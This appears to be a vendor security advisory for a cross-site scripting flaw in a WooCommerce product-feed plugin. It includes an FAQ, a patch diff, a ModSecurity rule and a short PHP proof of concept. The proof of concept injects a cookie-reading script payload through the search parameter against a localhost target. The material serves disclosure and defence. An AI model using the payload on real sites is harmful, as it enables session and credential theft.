What is CVE-2026-59553?

CVE-2026-59553 is a stored cross-site scripting (XSS) vulnerability in the Product Feed Manager For WooCommerce plugin, affecting versions up to and including 7.6.1. It allows unauthenticated attackers to inject arbitrary JavaScript into WordPress pages, which executes when a user views the affected page. The vulnerability is rated high severity with a CVSS score of 7.2.

How does the vulnerability work?

The vulnerability exists in the Facebook pixel tracking script generation logic in the file class-rex-product-feed-actions.php. The search term from the WordPress search query parameter ‘s’ is directly inserted into a JavaScript string without proper escaping. An attacker can craft a URL with a malicious search term, and when the page is rendered, the injected script executes in the context of any user who visits that page.

Who is affected by this vulnerability?

Any WordPress site running the Product Feed Manager For WooCommerce plugin version 7.6.1 or earlier is affected. This includes sites where the plugin is active, regardless of whether the Facebook pixel feature is enabled, as the vulnerable code is part of the plugin’s core functionality.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 7.6.1 or lower, your site is vulnerable. You can also review the source code of a search results page for unescaped JavaScript in the Facebook pixel script, but the simplest method is to verify the plugin version.

What is the risk level and what does it mean in practice?

The CVSS score of 7.2 indicates high severity. This means an attacker can exploit the vulnerability without authentication, and the impact on confidentiality, integrity, and availability is significant. In practice, successful exploitation could lead to session hijacking, credential theft, defacement, or forced redirects to malicious sites.

How was the vulnerability fixed?

The fix is included in version 7.6.2. The patch modifies the vulnerable line in class-rex-product-feed-actions.php to wrap the search term with the WordPress esc_js() function, which escapes special characters for safe inclusion in JavaScript. This prevents injected scripts from being interpreted as code.

What should I do to protect my site?

Update the Product Feed Manager For WooCommerce plugin to version 7.6.2 or later as soon as possible. If you cannot update immediately, consider temporarily disabling the plugin or restricting access to the search functionality, but updating is the only complete fix.

How does the proof of concept demonstrate the vulnerability?

The provided proof of concept sends a crafted URL with a search term containing a JavaScript payload, such as ‘alert(document.cookie)‘. When the request is processed, the payload is stored in the page source and executes when a user visits the search results page, demonstrating the stored XSS.

Can an unauthenticated attacker really exploit this?

Yes, the vulnerability does not require authentication. An attacker only needs to craft a URL with a malicious search term and trick a user into visiting it, or the payload can be stored and executed when any user performs a search or views a search results page.

What are the potential impacts of a successful attack?

A successful attack can lead to session hijacking, theft of cookies and credentials, defacement of the site, or forced redirects to malicious websites. If an administrator views the injected page, the attacker could potentially perform administrative actions, leading to full site compromise.

Is there any workaround if I cannot update immediately?

As a temporary measure, you can disable the Facebook pixel tracking feature if it is not essential, or use a Web Application Firewall (WAF) to filter malicious search queries. However, these are not complete solutions, and updating the plugin is strongly recommended.

How can I verify that my site is no longer vulnerable after updating?

After updating to version 7.6.2, check the plugin version in the admin dashboard. You can also test by performing a search with a harmless script payload and inspecting the page source to ensure the script is escaped and not executed. Additionally, monitor for any unexpected scripts on search pages.

Published : August 9, 2026

CVE-2026-59553: Product Feed Manager For WooCommerce – Sell on 200+ Online Marketplaces <= 7.6.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-59553

Plugin best-woocommerce-feed

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 7.6.1

Patched Version 7.6.2

Disclosed July 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59553: The Product Feed Manager For WooCommerce – Sell on 200+ Online Marketplaces plugin, version 7.6.1 and earlier, is vulnerable to unauthenticated stored cross-site scripting (XSS). The vulnerability exists in the Facebook pixel tracking script generation logic within the `class-rex-product-feed-actions.php` file. An attacker can inject arbitrary JavaScript that executes when an administrator or other user views a page containing the vulnerable output.

Root Cause: The root cause is insufficient input sanitization and output escaping in the `best-woocommerce-feed/admin/class-rex-product-feed-actions.php` file. The vulnerable code is at line 764, where the `$search_term` variable is directly interpolated into a JavaScript string without any escaping. This value originates from the WordPress search query parameter (`s`), allowing an attacker to inject JavaScript code. The patched version wraps the variable with the `esc_js()` function to escape the output for safe inclusion in a JavaScript context.

Exploitation: An unauthenticated attacker can trigger this fault by simply performing a search on a WooCommerce site with the plugin active. The attack vector relies on the WordPress search functionality. An attacker crafts a URL like `https://target.com/?s=alert(document.cookie)`. When this request is processed, the plugin generates JavaScript for the Facebook pixel, which includes the search term. Because the term is not sanitized, the attacker’s JavaScript payload is stored in the page source and executes in the context of any user who visits that search result page, leading to stored XSS.

Patch Analysis: The patch modifies line 764 of `best-woocommerce-feed/admin/class-rex-product-feed-actions.php`. The fix wraps the `$search_term` variable with the `esc_js()` WordPress function. This function escapes characters that are special in JavaScript strings, such as quotes, backslashes, and newlines. The change converts the vulnerable line from a direct string interpolation to an escaped version, ensuring that user-supplied input is treated as data, not code. The patch also updates the plugin version from 7.6.1 to 7.6.2.

Impact: Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into the WordPress site. This could lead to session hijacking, credential theft, forced redirects to malicious websites, defacement, or the execution of administrative actions if the victim has sufficient privileges. The vulnerability is rated with a CVSS score of 7.2, indicating a high severity due to the lack of authentication and the high impact on confidentiality, integrity, and availability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/best-woocommerce-feed/admin/class-rex-product-feed-actions.php
+++ b/best-woocommerce-feed/admin/class-rex-product-feed-actions.php
@@ -764,7 +764,7 @@
 						}
 					}
 					$product_id   = rtrim( $product_id, ',' );
-					$view_content = "fbq("trackCustom","Search",{search_string:"$search_term", content_type:"product", content_ids:[{$product_id}]});";
+					$view_content = "fbq("trackCustom","Search",{search_string:"" . esc_js( $search_term ) . "", content_type:"product", content_ids:[{$product_id}]});";
 				}
 				elseif ( is_cart() || is_checkout() ) {
 					if ( is_checkout() && !empty( is_wc_endpoint_url( 'order-received' ) ) ) {
--- a/best-woocommerce-feed/rex-product-feed.php
+++ b/best-woocommerce-feed/rex-product-feed.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Product Feed Manager for WooCommerce
  * Plugin URI:        https://rextheme.com
  * Description:       Generate and maintain your WooCommerce product feed for Google Shopping, Social Catalogs, Yandex, Idealo, Vivino, Pinterest, eBay MIP, BestPrice, Skroutz, Fruugo, Bonanza & 200+ Merchants.
- * Version:           7.6.1
+ * Version:           7.6.2
  * Author:            RexTheme
  * Author URI:        https://rextheme.com
  * License:           GPL-2.0+
@@ -38,7 +38,7 @@
 	die;
 }
 if( !defined( 'WPFM_VERSION' ) ) {
-	define( 'WPFM_VERSION', '7.6.1' );
+	define( 'WPFM_VERSION', '7.6.2' );
 }
 if ( !defined( 'WPFM__FILE__' ) ) {
 	define( 'WPFM__FILE__', __FILE__ );
--- a/best-woocommerce-feed/vendor/composer/installed.php
+++ b/best-woocommerce-feed/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'rextheme/best-woocommerce-feed',
-        'pretty_version' => 'dev-develop',
-        'version' => 'dev-develop',
-        'reference' => '51cf7a37af22968e28e3960e1da891afb02dd036',
+        'pretty_version' => 'dev-master',
+        'version' => 'dev-master',
+        'reference' => '7c60538be74973a28452d9094e3e9cc6020efd64',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -56,9 +56,9 @@
             'dev_requirement' => false,
         ),
         'rextheme/best-woocommerce-feed' => array(
-            'pretty_version' => 'dev-develop',
-            'version' => 'dev-develop',
-            'reference' => '51cf7a37af22968e28e3960e1da891afb02dd036',
+            'pretty_version' => 'dev-master',
+            'version' => 'dev-master',
+            'reference' => '7c60538be74973a28452d9094e3e9cc6020efd64',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-59553
# Block unauthenticated attempts to inject JavaScript via the WordPress search 's' parameter
SecRule REQUEST_URI "@beginsWith /" "id:20261993,phase:2,deny,status:403,chain,msg:'CVE-2026-59553 - Stored XSS via WordPress search',severity:'CRITICAL',tag:'CVE-2026-59553'"
  SecRule ARGS_GET:s "@rx <s*script[^>]*>" "chain"
    SecRule ARGS_GET:s "@rx (?:javascript:|alert(|onerror=|onload=|onclick=)" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59553 - Product Feed Manager For WooCommerce - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://localhost/wordpress'; // Change this to the target WordPress installation URL

// Crafting a malicious search term with an XSS payload
$payload = '<script>alert(document.cookie)</script>';
$encoded_payload = urlencode($payload);

// Full URL to trigger the vulnerability
$exploit_url = $target_url . '/?s=' . $encoded_payload;

echo "[*] Targeting URL: $exploit_urln";

// Initializing cURL session
$ch = curl_init($exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

// Execute the request and fetch the response
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo "[!] cURL error: " . curl_error($ch) . "n";
} else {
    // Checking if the payload is present in the response
    if (strpos($response, $payload) !== false) {
        echo "[+] Vulnerability confirmed! Payload found in the response.n";
        echo "[*] Payload: $payloadn";
    } else {
        echo "[-] Payload not found in the response. Check if the plugin is active and the search functionality is working.n";
    }
}
curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2026-59553?
Vulnerability overview
CVE-2026-59553 is a stored cross-site scripting (XSS) vulnerability in the Product Feed Manager For WooCommerce plugin, affecting versions up to and including 7.6.1. It allows unauthenticated attackers to inject arbitrary JavaScript into WordPress pages, which executes when a user views the affected page. The vulnerability is rated high severity with a CVSS score of 7.2.
How does the vulnerability work?
Technical explanation
The vulnerability exists in the Facebook pixel tracking script generation logic in the file class-rex-product-feed-actions.php. The search term from the WordPress search query parameter ‘s’ is directly inserted into a JavaScript string without proper escaping. An attacker can craft a URL with a malicious search term, and when the page is rendered, the injected script executes in the context of any user who visits that page.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the Product Feed Manager For WooCommerce plugin version 7.6.1 or earlier is affected. This includes sites where the plugin is active, regardless of whether the Facebook pixel feature is enabled, as the vulnerable code is part of the plugin’s core functionality.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 7.6.1 or lower, your site is vulnerable. You can also review the source code of a search results page for unescaped JavaScript in the Facebook pixel script, but the simplest method is to verify the plugin version.
What is the risk level and what does it mean in practice?
Severity interpretation
The CVSS score of 7.2 indicates high severity. This means an attacker can exploit the vulnerability without authentication, and the impact on confidentiality, integrity, and availability is significant. In practice, successful exploitation could lead to session hijacking, credential theft, defacement, or forced redirects to malicious sites.
How was the vulnerability fixed?
Patch details
The fix is included in version 7.6.2. The patch modifies the vulnerable line in class-rex-product-feed-actions.php to wrap the search term with the WordPress esc_js() function, which escapes special characters for safe inclusion in JavaScript. This prevents injected scripts from being interpreted as code.
What should I do to protect my site?
Immediate actions
Update the Product Feed Manager For WooCommerce plugin to version 7.6.2 or later as soon as possible. If you cannot update immediately, consider temporarily disabling the plugin or restricting access to the search functionality, but updating is the only complete fix.
How does the proof of concept demonstrate the vulnerability?
PoC explanation
The provided proof of concept sends a crafted URL with a search term containing a JavaScript payload, such as ‘alert(document.cookie)‘. When the request is processed, the payload is stored in the page source and executes when a user visits the search results page, demonstrating the stored XSS.
Can an unauthenticated attacker really exploit this?
Authentication requirement
Yes, the vulnerability does not require authentication. An attacker only needs to craft a URL with a malicious search term and trick a user into visiting it, or the payload can be stored and executed when any user performs a search or views a search results page.
What are the potential impacts of a successful attack?
Consequences
A successful attack can lead to session hijacking, theft of cookies and credentials, defacement of the site, or forced redirects to malicious websites. If an administrator views the injected page, the attacker could potentially perform administrative actions, leading to full site compromise.
Is there any workaround if I cannot update immediately?
Temporary mitigation
As a temporary measure, you can disable the Facebook pixel tracking feature if it is not essential, or use a Web Application Firewall (WAF) to filter malicious search queries. However, these are not complete solutions, and updating the plugin is strongly recommended.
How can I verify that my site is no longer vulnerable after updating?
Post-update verification
After updating to version 7.6.2, check the plugin version in the admin dashboard. You can also test by performing a search with a harmless script payload and inspecting the page source to ensure the script is escaped and not executed. Additionally, monitor for any unexpected scripts on search pages.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started